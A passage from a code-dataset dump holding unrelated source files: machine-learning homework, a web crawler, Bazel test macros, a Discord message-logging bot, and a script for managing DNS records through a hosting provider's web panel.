#insert an all-one column as the first column\r\n if(algType == '0'):\r\n beta = getBeta_BatchGradient(newTrain_x, self.train_y.values, self.lr, self.num_iter, self.verbose)\r\n print('Beta: ', beta)\r\n \r\n elif(algType == '1'):\r\n beta = getBeta_Newton(newTrain_x, self.train_y.values, self.num_iter, self.verbose)\r\n print('Beta: ', beta)\r\n else:\r\n print('Incorrect beta_type! Usage: 0 - batch gradient descent, 1 - Newton-Raphson method')\r\n \r\n predicted_y = newTrain_x.dot(beta)\r\n train_avglogL = compute_avglogL(newTrain_x, self.train_y.values, beta)\r\n print('Training avgLogL: ', train_avglogL)\r\n \r\n return beta\r\n \r\n # Predicts the y values of all test points\r\n # Outputs the predicted y values to the text file named \"logistic-regression-output_algType_isNormalized\" inside \"output\" folder\r\n # Computes accuracy\r\n def predict(self, beta):\r\n newTest_x = addAllOneColumn(self.test_x.values)\r\n self.predicted_y = (sigmoid(newTest_x.dot(beta))>=0.5)\r\n n = newTest_x.shape[0]\r\n output = np.zeros((n,2))\r\n output[:,0] = self.test_y\r\n output[:,1] = self.predicted_y\r\n np.savetxt('output/logistic-regression-output' + '_' + str(self.algType) + '_' + str(self.isNormalized) + '.txt', output, delimiter = '\\t', newline = '\\n')\r\n accuracy = compute_accuracy(self.predicted_y, self.test_y.values)\r\n return accuracy\r\n \r\n \r\nif __name__ == '__main__':\r\n # Change 1st paramter to 0 for batch gradient, 1 for newton's method\r\n # Add a second paramter with value 1 for z score normalization\r\n algType = sys.argv[1]\r\n isNormalized = sys.argv[2]\r\n print('Learning Algorithm Type: ', algType)\r\n print('Is normalization used: ', isNormalized)\r\n \r\n logisticM = LogisticRegression()\r\n logisticM.load_data('logistic_regression_train.csv','logistic_regression_test.csv')\r\n #do we need normalization? \r\n if(isNormalized == '1'):\r\n logisticM.normalize()\r\n \r\n #training\r\n beta = logisticM.train(algType)\r\n \r\n \r\n #testing\r\n test_accuracy = logisticM.predict(beta)\r\n print('Test accuracy: ', test_accuracy)\r\n \r\n","sub_path":"HW 1/HW1 Programming/LogisticRegression/logisticRegression.py","file_name":"logisticRegression.py","file_ext":"py","file_size_in_byte":7430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"491810492","text":"import os\nimport tensorflow as tf\nfrom keras.datasets import mnist\nfrom keras.utils import to_categorical\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n\n# The last number is 1, which signifies that the images are greyscale.\nX_train = X_train.reshape(60000, 28, 28, 1)\nX_test = X_test.reshape(10000, 28, 28, 1)\n\n# ‘one-hot-encode’: sixth number in our array will have a 1 and the rest of the array will be filled with 0\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\nmodel = Sequential()\n\n# 64 in the first layer and 32 in the second layer are the number of nodes in each layer\n# Kernel size is the size oth the filted matrix for our convolution\n\nmodel.add(Conv2D(64, kernel_size=3, activation='relu', input_shape=(28, 28, 1)))\nmodel.add(Conv2D(32, kernel_size=3, activation='relu'))\n\n# Flatten serves as a connection between the convolution and dense layers\nmodel.add(Flatten())\n\n# We will have 10 nodes in our output layer, one for each possible outcome\nmodel.add(Dense(10, activation='softmax'))\n\n# The optimizer controls the learning rate\n# ‘categorical_crossentropy’ for our loss function. This is the most common choice for classification\n# ‘accuracy’ metric to see the accuracy score on the validation set when we train the model\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# model.fit(X_train, y_train, batch_size=50, validation_data=(X_test, y_test), epochs=3)\nmodel.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=3)\n\n# predict first 4 images in the test set\nmodel.predict(X_test[:4])\n\n# actual results for first 4 images in test set\ny_test[:4]\n\n\n","sub_path":"2020_02 Quantifying Thin-film Defects using Machine Vision/DeepThin model/tensorflowtest.py","file_name":"tensorflowtest.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"436600285","text":"import os\r\n\r\nfrom Cryptodome.Cipher._mode_cbc import _create_cbc_cipher\r\n\r\n\r\ndef _create_cipher(factory, key, mode, *args, **kwargs):\r\n\r\n kwargs[\"key\"] = key\r\n\r\n if args:\r\n if mode in (2, 3, 5, 7):\r\n if len(args) > 1:\r\n raise TypeError(\"Too many arguments for this mode\")\r\n kwargs[\"IV\"] = args[0]\r\n\r\n return _create_cbc_cipher(factory, **kwargs)\r\n","sub_path":"Cryptodome/Cipher/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"58949859","text":"###########################################################################\n#\n# File: SConscript (directory: cpp/sph2pipe)\n# Date: 15-Sep-2009\n# Author: Hugh Secker-Walker\n# Description: Build and install NIST's sph2pipe utility for Sphere audio\n#\n# This file is part of Onyx http://onyxtools.sourceforge.net\n#\n# Copyright 2009 The Johns Hopkins University\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied. See the License for the specific language governing\n# permissions and limitations under the License.\n#\n###########################################################################\n\nImport('env')\n\n# note: env.Program automagically copies the *.h files used by the C files.\nsph2pipe = env.Program('sph2pipe',\n Split('file_headers.c shorten_x.c sph2pipe.c'),\n LIBS=['m'])\n\nenv.ProjectInstallProgram(sph2pipe)\n\ndata_files = (\n '123_1pcbe_shn.sph',\n '123_1pcle_shn.sph',\n '123_1ulaw_shn.sph',\n '123_2alaw.sph',\n '123_2pcbe_shn.sph',\n '123_2pcle_shn.sph',\n '123_2ulaw_shn.sph',\n)\n\n# test the executable by getting md5sums for the 16-bit pcm output of some files\nenv.Command('sph2pipe-tests.log-trial', sph2pipe + list(data_files),\n ['rm -f $TARGET']\n # subtle: [0] gets the exe, [%d] on ~i works backwards through the data files\n + list('(echo %s; ${SOURCES[0]} -p -f raw ${SOURCES[%d]} | md5sum; echo) >> $TARGET 2>&1' % (data_files[~i], ~i) for i in xrange(len(data_files))))\nenv.Diff('sph2pipe-tests.log-diff', ['sph2pipe-tests.log-ref', 'sph2pipe-tests.log-trial'])\n\nenv.Local('README.txt')\n","sub_path":"resources/Onyx-1.0.511/cpp/sph2pipe/SConscript","file_name":"SConscript","file_ext":"511/cpp/sph2pipe/SConscript","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"252836671","text":"# -*- coding:utf-8 -*-\n#导入模块\nimport os\nfrom selenium import webdriver\nfrom time import sleep\nfrom bs4 import BeautifulSoup\n#from goto import with_goto\n\n#定义类\nclass downloader():\n\tdef __init__(self):\n\t\tself.server = 'wjw.hunan.gov.cn' #网站域名\n\t\tself.main_url = 'http://wjw.hunan.gov.cn' #文章网站的前缀url 会因网站不同而不同\n\t\tself.list_url = ['http://wjw.hunan.gov.cn/wjw/qwfb/yqfkgz_list.html'] #疫情发布的列表主页,用它来获取文章\n\t\t\t\t\t\t\t#如'http://wst.hainan.gov.cn/swjw/rdzt/yqfk/index.html' ,会因页码不同而不同,还未想到方法(因为每个站点个结构不一样)\n\t\tself.articles_url = [] #存放文章的链接\n\t\tself.articles_date = [] #存放文章的时间\n\t\tself.articles_name = []\n\t\tself.browser = webdriver.Firefox(executable_path = \"D:\\webdriver\\geckodriver\") #webDriver路径\n\n\t#定义获取文章url,title,及发布日期的方法\n\tdef get_artcles_url(self):\n\t\tfor i in self.list_url:\n\t\t\tself.browser.get(i) #使用浏览器打开页面\n\t\t\tsleep(5) #等待网页加载完成\n\t\t\trequest = self.browser.execute_script(\"return document.documentElement.outerHTML\") #将网页所有内容存入requset\n\t\t\tli_bf = BeautifulSoup(request,'lxml') #转换为bs4类型\n\t\t\tli = li_bf.find_all('li') #文章的url都是存储在li标签中,将所有标签都导出到li\n\t\t\ta_bf = BeautifulSoup(str(li),'lxml')\n\t\t\ta = a_bf.find_all('a') #进一步将a标签提取出来\n\t\t\tvoice_bf = BeautifulSoup(str(a),'lxml')\n\t\t\tvoice = voice_bf.find_all('voice')\n\t\t\tfor j in a:\n\t\t\t\tself.articles_url.append(self.main_url + str(j.get('href')).strip('.')) #获取a标签中的url\n\t\t\t\t#self.articles_name.append(str(j.get('title'))) #获取a标签的title作为文章名\n\t\t\tfor z in voice:\n\t\t\t\tself.articles_name.append(self.main_url + str(z.text))\n\t\t\tspan_bf = BeautifulSoup(str(li),'lxml')\n\t\t\tspan = span_bf.find_all('span') #发布日期存放在li->span中\n\t\t\tfor k in span:\n\t\t\t\tself.articles_date.append(k.text)\n\t\tprint(self.articles_url)\n\t\tprint('get_artcles_url as Complete')\n\t\tprint(\"\\n\\n\\n\",len(self.articles_date),len(self.articles_url),len(self.articles_name),\"\\n\\n\\n\")\n\t\t#sleep(600)\n\n\t#定义下载文章并写入的方法\n\tdef writer(self):\n\t\tpath = self.server\n\t\tif not os.path.exists(path): #监测文件夹是否存在,否者创建\n\t\t\tos.mkdir(path)\n\n\t\tindex = -1\n\t\turl_count = len(self.articles_url) #计算url数量以确定循环次数\n\t\tprint(\"urlCount=\",url_count,end='\\n')\n\t\tfor i in range(url_count):\n\t\t\tindex += 1\n\t\t\tprint(\"i=%d,index=%d,urlcount=%d\"%(i,index,url_count))\n\t\t\tif index >= url_count:\n\t\t\t\tbreak\n\t\t\tif str(self.articles_name[index]) == 'None':\n\t\t\t\tself.articles_name.pop(0)\n\t\t\t\tself.articles_url.pop(0)\n\t\t\t\tindex = index - 1\n\t\t\t\tcontinue\n\t\t\tprint(\"url = \",self.articles_url[index],end=\"\\n\")\n\t\t\tself.browser.get(self.articles_url[index])\n\t\t\tsleep(5)\n\n\t\t\tfileName = str(self.articles_date[index]) + str(self.articles_name[index])\n\t\t\trequest = self.browser.execute_script(\"return document.documentElement.outerHTML\")\n\t\t\tp_bf = BeautifulSoup(request,'lxml')\n\t\t\tp = p_bf.find_all('p') #获取p标签\n\t\t\tinner = \"\"\n\t\t\tfor l in p:\n\t\t\t\tinner += l.text\n\t\t\tprint(\"self.articles_name[index] = \",self.articles_name[index])\n\t\t\tprint(\"inner = \",inner,end=\"\\n\")\n\t\t\tif not os.path.exists(path): #监测文件夹是否存在,否者创建\n\t\t\t\tos.mkdir(path)\n\t\t\ttry:\n\t\t\t\twith open(path + '\\\\' + fileName +'.txt','a',encoding='utf-8') as file:\n\t\t\t\t\tfile.write(inner)\n\t\t\texcept Exception:\n\t\t\t\tprint(\"fileName Error as \\\"\",fileName,\"\\'\\\"\\n\")\n\t\t\t\tcontinue\n\n\t\tprint('write Complete')\n\nif __name__ == '__main__':\n\tdl = downloader()\n\tdl.get_artcles_url()\n\tdl.writer()\n\tprint('All Complete')\n\t\t\t\t\n\n\n\n","sub_path":"Source/WebCrawlerDemo/hainan.py","file_name":"hainan.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"311471120","text":"#!/usr/bin/env python\n\nip_addr = input(\"Enter an IP address: \")\n\nip_split = ip_addr.split('.')\n\noctets = []\nfor i in ip_split:\n x = int(i)\n octets.append(x)\n\noctets_bin = []\nfor i in octets:\n x = bin(i)\n octets_bin.append(x)\n\noctets_hex = []\nfor i in octets:\n x = hex(i)\n octets_hex.append(x)\n\nprint(\"{:^15}{:^15}{:^15}{:^15}\".format(\"Octet 1\", \"Octet 2\", \"Octet 3\", \"Octet 4\"))\nprint(\"-\" * 60)\nprint(\"{:^15}{:^15}{:^15}{:^15}\".format(*octets))\nprint(\"{:^15}{:^15}{:^15}{:^15}\".format(*octets_bin))\nprint(\"{:^15}{:^15}{:^15}{:^15}\".format(*octets_hex))\nprint(\"-\" * 60)\n","sub_path":"Week1/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"314083755","text":"load(\n \"@npm//@bazel/concatjs:index.bzl\",\n _karma_web_test = \"karma_web_test\",\n _karma_web_test_suite = \"karma_web_test_suite\",\n)\n\n# Re-export of unmodified Karma test macros/rules.\nkarma_web_test = _karma_web_test\n\ndef _karma_debug_browsers_target(name, **web_test_args):\n \"\"\"Macro for defining a standalone karma web test target that starts Karma\n without a browser, allowing for manual debugging.\"\"\"\n\n # Custom standalone web test that can be run to test against any browser\n # that is manually connected to.\n _karma_web_test(\n name = \"%s_bin\" % name,\n config_file = \"//bazel/karma:karma-debug-config.js\",\n tags = [\"manual\"],\n **web_test_args\n )\n\n # Workaround for: https://github.com/bazelbuild/rules_nodejs/issues/1429\n native.sh_test(\n name = name,\n srcs = [\"%s_bin\" % name],\n tags = [\"manual\", \"local\", \"ibazel_notify_changes\"],\n testonly = True,\n )\n\ndef karma_web_test_suite(name, **kwargs):\n \"\"\"Wrapper for the default `karma_web_test_suite` with additional default browsers,\n and a local target to ease debugging.\"\"\"\n\n # Set up default browsers if no explicit `browsers` have been specified.\n if not hasattr(kwargs, \"browsers\"):\n kwargs[\"tags\"] = [\"native\"] + kwargs.get(\"tags\", [])\n kwargs[\"browsers\"] = [\n \"//bazel/browsers/chromium:chromium\",\n \"//bazel/browsers/firefox:firefox\",\n ]\n\n # Filter out options which are specific to \"karma_web_test\" targets. We cannot\n # pass options like \"browsers\" to the debug web test target.\n web_test_args = {}\n for opt_name in kwargs.keys():\n if not opt_name in [\"wrapped_test_tags\", \"browsers\", \"tags\"]:\n web_test_args[opt_name] = kwargs[opt_name]\n\n # Custom standalone web test that can be run to test against any\n # browser that is manually connected to.\n _karma_debug_browsers_target(name = \"%s_debug\" % name, **web_test_args)\n\n # Default test suite with all configured browsers.\n _karma_web_test_suite(name = name, **kwargs)\n","sub_path":"bazel/karma/index.bzl","file_name":"index.bzl","file_ext":"bzl","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"56867262","text":"import discord\nimport datetime\nimport json\n\nclient = discord.Client()\n\n\n@client.event\nasync def on_message_edit(before, after):\n msg = '[{}] {} edited their message. \\'{}\\' -> \\'{}\\'\\n'.format(after.edited_timestamp.strftime(\"%Y-%m-%d %H:%M:%S\"), before.author, before.clean_content, after.clean_content)\n file_name = '{}-{}.txt'.format(datetime.date.today(), after.channel.id)\n\n with open(file_name, 'a', encoding='utf8') as f:\n f.write(msg)\n\n\n@client.event\nasync def on_message(message):\n # If it can get an attachment URL, put it in the message\n # Not the cleanest solution :shrug:\n try:\n msg = '[{}] {}: {} {}\\n'.format(message.timestamp.strftime('%Y-%m-%d %H:%M:%S'), message.author, message.clean_content, message.attachments[0].get('url') )\n except IndexError:\n msg = '[{}] {}: {}\\n'.format(message.timestamp.strftime('%Y-%m-%d %H:%M:%S'), message.author, message.clean_content)\n\n file_name = '{}-{}.txt'.format(datetime.date.today(), message.channel.id)\n\n with open(file_name, 'a', encoding='utf8') as f:\n f.write(msg)\n\n # If in the log channel, and you're using the logs command\n if message.channel.id == cfg['log_channel'] and message.content.startswith('{}logs'.format(cfg['prefix'])):\n await get_log_file(message)\n\n\nasync def get_log_file(message):\n args = message.content.split()\n # Channel name, date (ISO)\n\n try:\n if len(args) == 2: # If date not supplied, use today's date\n args.append(datetime.date.today())\n\n file_name = '{}-{}.txt'.format(args[2], args[1][2:-1]) # Turns channel ID into usable string\n\n with open(file_name, 'rb') as f:\n await client.send_file(message.channel, f)\n except FileNotFoundError:\n await client.send_message(message.channel, \"**Log file not found** for `{}` on `{}`.\\nDoes the channel exist? Is the date correct?\".format(args[1], args[2]))\n except IndexError:\n await client.send_message(message.channel, \"**No channel name supplied**\")\n\n\nwith open('config.json') as json_data_file:\n cfg = json.load(json_data_file)\n\nclient.run(cfg['token'])\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"443845401","text":"import json\nimport re\nimport sys\nimport configparser\nimport time\nfrom collections import namedtuple\nfrom http import cookiejar\nfrom urllib import request, parse\n\n\ndef configure(cls):\n\tdef warp(*args, **kwargs):\n\t\ttry:\n\t\t\tprint('加载登陆配置文件......')\n\t\t\tcfg = configparser.ConfigParser()\n\t\t\tcfg.read('./cfg.ini')\n\t\t\tcls.sq_login_user = cfg['DEFAULT'].get('SQ_loginuser', '')\n\t\t\tcls.sq_login_pwd = cfg['DEFAULT'].get('SQ_passwd', '')\n\t\t\tcls.ddt_login_user = cfg['DEFAULT'].get('DDT_loginuser', '')\n\t\t\tcls.ddt_login_pwd = cfg['DEFAULT'].get('DDT_passwd', '')\n\t\t\tcls.del_flag = cfg['DEFAULT'].get('del_flag', '')\n\t\texcept Exception as e:\n\t\t\tsys.exit()\n\t\treturn cls(*args, **kwargs)\n\t\n\treturn warp\n\n\n@configure\nclass QYclient:\n\t\"\"\"\n\t类变量,用于在��有实例都可以使用这个账号与密码\n\t\"\"\"\n\t\n\tdef __init__(self, which=False):\n\t\t\"\"\"\n\t\t构造函数,每当实例化时,增加一些属性与生成一个opener()\n\t\t\"\"\"\n\t\tself.__login_request = 'http://www.qycn.com/ajax.request.php?act=26'\n\t\tself.__image_url = 'http://www.qycn.com/yzcode.php?name=yz_login&num='\n\t\tself.__manage = 'http://dns.qycn.com/index.php'\n\t\tself.__configure = self.__config(which)\n\t\tself.__opener = self.__login_web()\n\t\n\tdef __config(self, which):\n\t\treturn {'shenquol.com': 18108, 'ddshenqu.cn': 9794, 'aeonsaga.com': 11283, '7road.net': 7106,\n\t\t\t\t'login_user': self.sq_login_user,\n\t\t\t\t'login_pwd': self.sq_login_pwd} if which else {'baiduddt.cn': 3768,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'ddt1.cn': 12460,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'login_user': self.ddt_login_user,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'login_pwd': self.ddt_login_pwd}\n\t\n\tdef __read_file(self, fd) -> iter:\n\t\t\"\"\"\n\t\t处理domain.txt,解析出所需要的格\n\t\t:param fd: 传入文件路径\n\t\t:return: 返回,namedtuple所组成的生成器,例子:\n\t\tdomain(name='s1558.shenquol.com', tellcom='113.107.148.122', unicom='112.90.248.122')\n\t\t\"\"\"\n\t\twith open(fd, 'rt', encoding='utf8') as f:\n\t\t\tnamelist, tup = [], []\n\t\t\tdic = namedtuple('domain', ['name', 'tellcom', 'unicom'])\n\t\t\to = re.compile(r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}')\n\t\t\tfor line in f:\n\t\t\t\tdomain = '.'.join(line.strip().rsplit('.', 2)[-2:])\n\t\t\t\tip = o.findall(line)\n\t\t\t\tif domain in self.__configure.keys():\n\t\t\t\t\tnamelist.append(line.strip())\n\t\t\t\tif ip:\n\t\t\t\t\ttell, uni = ip\n\t\t\t\t\ttup.append([dic(x, tell, uni) for x in namelist])\n\t\t\t\t\tnamelist.clear()\n\t\treturn (j for n in range(len(tup)) for j in tup[n])\n\t\n\tdef __login_web(self) -> request.build_opener:\n\t\t\"\"\"\n\t\t登陆函数,手动输入验证码。\n\t\t:return: 返回一个处理函数,opener() 用于打开这个站点的所有链接。\n\t\t\"\"\"\n\t\t\n\t\theader = {\n\t\t\t'Content-Type': 'application/x-www-form-urlencoded',\n\t\t\t'Accept': 'application/json, text/javascript, */*',\n\t\t\t'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6',\n\t\t\t'Host': 'www.qycn.com',\n\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n\t\t\t\t\t\t 'Chrome/56.0.2924.76 Safari/537.36',\n\t\t\t'X-Requested-With': 'XMLHttpRequest',\n\t\t\t'Referer': 'http://www.qycn.com/user.php?action=login&goto=http://www.qycn.com/synlogin.php?action=dns',\n\t\t\t'Origin': 'http://www.qycn.com'\n\t\t}\n\t\tcookie = cookiejar.CookieJar()\n\t\tpro = request.HTTPCookieProcessor(cookie)\n\t\topener = request.build_opener(pro)\n\t\topener.addheaders.extend([(k, v) for k, v in header.items()])\n\t\tyz_code = opener.open(self.__image_url).read()\n\t\twith open('./yz_code.png', 'wb') as f:\n\t\t\tf.write(yz_code)\n\t\tyz_login = input('请输入验证码:')\n\t\tparms = {\n\t\t\t'username': self.__configure['login_user'],\n\t\t\t'password': self.__configure['login_pwd'],\n\t\t\t'yz_login': yz_login,\n\t\t\t'save_name': 1\n\t\t}\n\t\tparm = parse.urlencode(parms)\n\t\trequest.install_opener(opener)\n\t\treq = request.Request(url=self.__login_request, data=parm.encode('ascii'), headers=header)\n\t\tresp = opener.open(req).read()\n\t\tret = json.loads(resp.decode())\n\t\tprint(ret['msg'])\n\t\tif ret['flag'] == 1:\n\t\t\t'''\n\t\t\t增加了一个GET链接,下方代码可以获取这个链接的tockenkey.因为没发现用处,先注释掉不使用。\n\t\t\t'''\n\t\t\topener.open('http://www.qycn.com/synlogin.php?action=dns')\n\t\t\t# tok = opener.open('http://www.qycn.com/synlogin.php?action=dns')\n\t\t\t# cmp = re.compile(r'<.*?> list:\n\t\t\"\"\"\n\t\t查询函数,用来查询域名或者IP地址的解析记录\n\t\t:param operator: 运营商\n\t\t:param dm: 传入域名字符串,可以为空\n\t\t:param address: 传入IP地址字符串,可以为空\n\t\t:return: 返回namedtuple 列表对象。\n\t\t\"\"\"\n\t\toper = {'中国联通': 2, '全部线路': 10, '中国电信': 1, '全部删除': ''}\n\t\ttry:\n\t\t\tmt = int(self.del_flag) if self.del_flag.isdigit() else oper[self.del_flag]\n\t\texcept Exception as e:\n\t\t\tmt = ''\n\t\tif dm:\n\t\t\tnt = dm.rsplit('.', 2)\n\t\t\tfirst, end = nt[0], '.'.join(nt[-2:])\n\t\t\trex = r'<.*name_(\\w+)\">(\\b%s)<.*?>\\s*<.*?>(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})<.*?>\\s*<.*?>(\\w{4})' % dm\n\t\telse:\n\t\t\tfirst = ''\n\t\t\tend = input('请输入将要在那个域名后缀中查询IP地址:')\n\t\t\trex = r'<.*name_(\\w+)\">(.*)<.*?>\\s*<.*?>(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})<.*?>\\s*<.*?>(\\w{4})'\n\t\tdata = {'myzone': first, 'myaddress': address, 'mytype': mt,\n\t\t\t\t'mypriority': '', 'page_size': '', 'Submit': '查询'}\n\t\tdomain = 'http://dns.qycn.com/index.php?tp=domrs&domid=%d' % (self.__configure[end])\n\t\tquerystring = parse.urlencode(data)\n\t\treq = request.Request(url=domain, data=querystring.encode('ascii'))\n\t\tresp = self.__opener(req).read()\n\t\t\n\t\tcmx = re.compile(rex)\n\t\tfind = cmx.findall(resp.decode())\n\t\tif not find:\n\t\t\treturn []\n\t\tret = namedtuple('checker', ['id', 'domain', 'address', 'operator'])\n\t\treturn [ret(*x) for x in find]\n\t\n\tdef Add_to_list(self, *, name, address, operator) -> str:\n\t\t\"\"\"\n\t\t增加函数,功能是把域名增加到解析记录里。\n\t\t:param name: 传入要解析的域名字符串。\n\t\t:param address: 传入对应的IP地址。\n\t\t:param operator: 传入解析的线路。【全部线路】【中国联通】这两个其中一个。\n\t\t:return: 添加成功返回字符串状态,否则返回False\n\t\t\"\"\"\n\t\tnt = name.rsplit('.', 2)\n\t\tfirst, end = nt[0], '.'.join(nt[-2:])\n\t\tmapping = {'全部线路': 10, '中国联通': 2}\n\t\tparms = {\n\t\t\t'tp': 'domrs', 'ac': 'adds_a', 'action': 'a', 'domid': self.__configure[end], 'dname': first,\n\t\t\t'vdname': first,\n\t\t\t'address': address, 'mtype': mapping[operator], 'mypriority': 10, 'myttl': 3600, 'submit': '新增'}\n\t\tquery = parse.urlencode(parms)\n\t\treqs = request.Request(self.__manage, data=query.encode('ascii'))\n\t\tresp = self.__opener(reqs).read()\n\t\to = re.compile(r'showinfo\\(\\'(\\S+)\\',')\n\t\tstatus = o.findall(resp.decode())\n\t\treturn status.pop() if status else False\n\t\n\tdef Delete_domain(self, *, name, domain_id) -> str:\n\t\t\"\"\"\n\t\t删除域名函数\n\t\t:param name: 传入将要删除的域名 \n\t\t:param domain_id: 传入域名对应的ID\n\t\t:return: 返回操作结果字符串。\n\t\t\"\"\"\n\t\tnt = name.rsplit('.', 2)\n\t\tfirst, end = nt[0], '.'.join(nt[-2:])\n\t\tp = dict(tp='domrs', ac='ajaxs_del_a', redtp='a', redid=domain_id, domid=self.__configure[end])\n\t\tquery = parse.urlencode(p)\n\t\treque = request.Request(self.__manage, data=query.encode('ascii'))\n\t\tresp = self.__opener(reque).read()\n\t\tstatus = json.loads(resp.decode())\n\t\treturn status['message']\n\t\n\tdef __make_del_list(self, domfile):\n\t\tret = {}\n\t\twith open(domfile, mode='rt') as fd:\n\t\t\ttotal, lost = 0, []\n\t\t\tfor line in fd:\n\t\t\t\tname = line.strip()\n\t\t\t\tvalue = [x.id for x in self.checker(name)]\n\t\t\t\tif len(value) > 0:\n\t\t\t\t\tprint('添加:{}域名到删除列表,数量{}'.format(name, len(value)))\n\t\t\t\telse:\n\t\t\t\t\tlost.append(name)\n\t\t\t\ttotal += len(value)\n\t\t\t\tend = '.'.join(name.rsplit('.', 2)[-2:])\n\t\t\t\tif end not in ret.keys() or not ret:\n\t\t\t\t\tret[end] = value\n\t\t\t\telse:\n\t\t\t\t\tret[end].extend(value)\n\t\t\t\ttime.sleep(0.2)\n\t\t\tprint('总删除数量:{}'.format(total))\n\t\t\tif lost:\n\t\t\t\tprint('未查询到数量:{}'.format(len(lost)))\n\t\t\t\tprint('未查询到域名:{}'.format(lost))\n\t\t\t\ttime.sleep(2)\n\t\task = input('是否确定要删除这些域名?[yes/no]')\n\t\tif ask.lower() == 'no' or not ask:\n\t\t\treturn\n\t\treturn ret\n\t\n\tdef del_all(self, domfile):\n\t\ttotal = 0\n\t\tdlist = self.__make_del_list(domfile)\n\t\tif not dlist:\n\t\t\treturn\n\t\tfor k, v in dlist.items():\n\t\t\tp = dict(tp='domrs', ac='ajaxs_del_a', redtp='a', redid=','.join(v), domid=self.__configure[k])\n\t\t\tquery = parse.urlencode(p)\n\t\t\treque = request.Request(self.__manage, data=query.encode('ascii'))\n\t\t\tresp = self.__opener(reque).read()\n\t\t\tstatus = json.loads(resp.decode())\n\t\t\ttotal += len(v)\n\t\t\tprint('{}域名删除了{}条,删除结果:{}'.format(k, len(v), status['message']))\n\t\treturn '删除总数:{}'.format(total)\n\t\n\tdef Outprint(self, **kwargs):\n\t\treturn '[{count:>3}]执行结果:{stat} 域名:{name} 解析到:{address}--{operator}'.format(**kwargs)\n\t\n\tdef run(self):\n\t\t\"\"\"\n\t\t自动执行函数,用于自动增加domain.txt文件里的域名\n\t\t:return: 返回添加的总结果字符串\n\t\t\"\"\"\n\t\tit = self.__read_file('./domain.txt')\n\t\tif not it:\n\t\t\tprint('domain.txt 解析错误,请重试!')\n\t\t\treturn\n\t\tsuccessful, fail = 0, 0\n\t\tfor nametp in it:\n\t\t\ttelcheck = self.checker(nametp.name, nametp.tellcom)\n\t\t\tif not telcheck:\n\t\t\t\ttelstat = self.Add_to_list(name=nametp.name, address=nametp.tellcom, operator='全部线路')\n\t\t\t\tif telstat:\n\t\t\t\t\tsuccessful += 1\n\t\t\t\t\tprint(self.Outprint(count=successful, stat=telstat, name=nametp.name, address=nametp.tellcom,\n\t\t\t\t\t\t\t\t\t\toperator='全部线路'))\n\t\t\telse:\n\t\t\t\tfail += 1\n\t\t\t\n\t\t\tunichekc = self.checker(nametp.name, nametp.unicom)\n\t\t\tif not unichekc:\n\t\t\t\tunistat = self.Add_to_list(name=nametp.name, address=nametp.unicom, operator='中国联通')\n\t\t\t\tif unistat:\n\t\t\t\t\tsuccessful += 1\n\t\t\t\t\tprint(self.Outprint(count=successful, stat=unistat, name=nametp.name, address=nametp.unicom,\n\t\t\t\t\t\t\t\t\t\toperator='中���联通'))\n\t\t\telse:\n\t\t\t\tfail += 1\n\t\treturn '成功:{} 失败:{} 总数:{}'.format(successful, fail, successful + fail)\n\n\nif __name__ == '__main__':\n\tprint('开始登陆群英解析站点')\n\t\n\t\n\tdef where():\n\t\t\"\"\"\n\t\t因账号不同,所以增加了选择函数。\n\t\t:return: 返回一个QYclient类的实例。\n\t\t\"\"\"\n\t\t\n\t\twhile True:\n\t\t\tprint(\n\t\t\t\t'''\n1. 神曲与官网:shenquol.com, ddshenqu.cn, aeonsaga.com, 7road.net\n2. 弹弹堂:baiduddt.cn, ddt1.cn\n\t\t\t\t'''\n\t\t\t)\n\t\t\ttry:\n\t\t\t\tc = int(input('请输入要解析的域名 [ 1.神曲与官网|2.弹弹堂 |3.退出]: '))\n\t\t\t\tif c == 3:\n\t\t\t\t\treturn False\n\t\t\t\telif c == 1:\n\t\t\t\t\treturn QYclient(which=True)\n\t\t\t\telif c == 2:\n\t\t\t\t\treturn QYclient()\n\t\t\texcept ValueError:\n\t\t\t\tprint('输出错误,请输入对应的数字。')\n\t\t\t\tcontinue\n\t\n\t\n\tclient = where()\n\twhile client:\n\t\tnew = input(\"请输入将要执行的操作[run|drun|del|add|check|quit]:\")\n\t\tif 